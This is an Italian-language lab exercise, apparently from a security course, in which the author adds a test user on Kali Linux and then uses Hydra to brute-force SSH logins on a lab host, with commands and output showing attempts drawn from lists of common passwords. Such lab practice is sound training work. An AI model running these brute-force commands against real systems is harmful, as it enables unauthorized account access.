L’esercizio di oggi consiste nell'usare hydra aggiungeno un nuovo user come visto in foto

```
┌──(root㉿kali)-[~]
└─# adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
        Full Name []:
        Room Number []:
        Work Phone []:
        Home Phone []:
        Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...
```

Dopo averlo configurato ricaviamo l’usernaem e password sapendo quali sono

```
┌──(test_user㉿kali)-[~]
└─$ hydra -l test_user -p testpass  192.168.50.100 -t 4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizati
ons, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-02-29 08:35:57
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://192.168.50.100:22/
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-02-29 08:35:57
```

Se invece non sappiamo mettiamo una lista di username e password e li trova automaticamente.

```
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 403354000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 2 of 403354000000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 3 of 403354000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwerty" - 4 of 403354000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 5 of 403354000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 6 of 403354000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234" - 7 of 403354000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "111111" - 8 of 403354000000 [child 1] (0/0)
[22][ssh] host: 192.168.50.100   login: test_user   password: testpass
[ATTEMPT] target 192.168.50.100 - login "Aarika" - pass "123456" - 1000001 of 403354000000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "Aarika" - pass "password" - 1000002 of 403354000000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "Aarika" - pass "12345678" - 1000003 of 403354000000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "Aarika" - pass "qwerty" - 1000004 of 403354000000 [child 1] (0/0)
```